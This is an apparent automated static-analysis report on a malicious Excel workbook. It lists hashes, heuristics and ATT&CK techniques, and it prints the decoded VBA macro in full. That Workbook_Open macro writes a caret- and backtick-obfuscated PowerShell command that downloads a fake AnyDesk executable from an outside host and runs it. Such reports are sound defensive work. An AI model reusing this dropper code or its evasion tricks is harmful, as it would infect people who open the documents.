Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 0e201d6a6fbac62d…

MALICIOUS

Office (OLE) / .XLS

73.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel First seen: 2021-10-23
MD5: ca027182d31698dcbb704e0d1a7c28d2 SHA-1: 628a5f48cbad45672a239e683bfc4eeadb82fbc3 SHA-256: 0e201d6a6fbac62df83faedc6af867e1b17de08220698b5f06c204ad4d936b83
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1059.001 PowerShell

The Workbook_Open macro executes a PowerShell command to download a file from http://thepunchlineexpose.com/Manager/AnyDesk.exe using Start-BitsTransfer and save it as C:\Users\Public\Documents\weekshe.exe. It then executes the downloaded file. The macro also attempts to write a PowerShell command to C:\Users\Public\Documents\institutionsport.cm.

Heuristics 7

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Workbook_Open()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    obh = CreateObject(sheee & "l.application").Open(heavyspring)
  • Payload URL assembled from a Chr()/Asc() string expression (1 URL) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://thepunchlineexpose.com/Manager/AnyDesk.exe Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1170 bytes
SHA-256: d5387914e198af7231991211bf5d0f562a3477459899e11bf62650de3f4f0162
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
needlight = "powe^rs"
heavyspring = "C:\Users\Public\Documents\institutionsport.cm" & Chr(CLng("99.6"))
putissue = "h^ell"
actbest = FreeFile
Open heavyspring For Output As #actbest
Print #actbest, needlight & putissue & " -w hi slee^p -Se 31;Sta^rt-BitsTr^ansfer -Source htt`p://thepunchlineexpose.com/Manager/AnyDesk.e`xe" & " -Destination C:\Users\Public\Documents\weekshe.e`xe" & ";C:\Users\Public\Documents\weekshe.e`xe"
Close actbest
sheee = "shel"
obh = CreateObject(sheee & "l.application").Open(heavyspring)
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.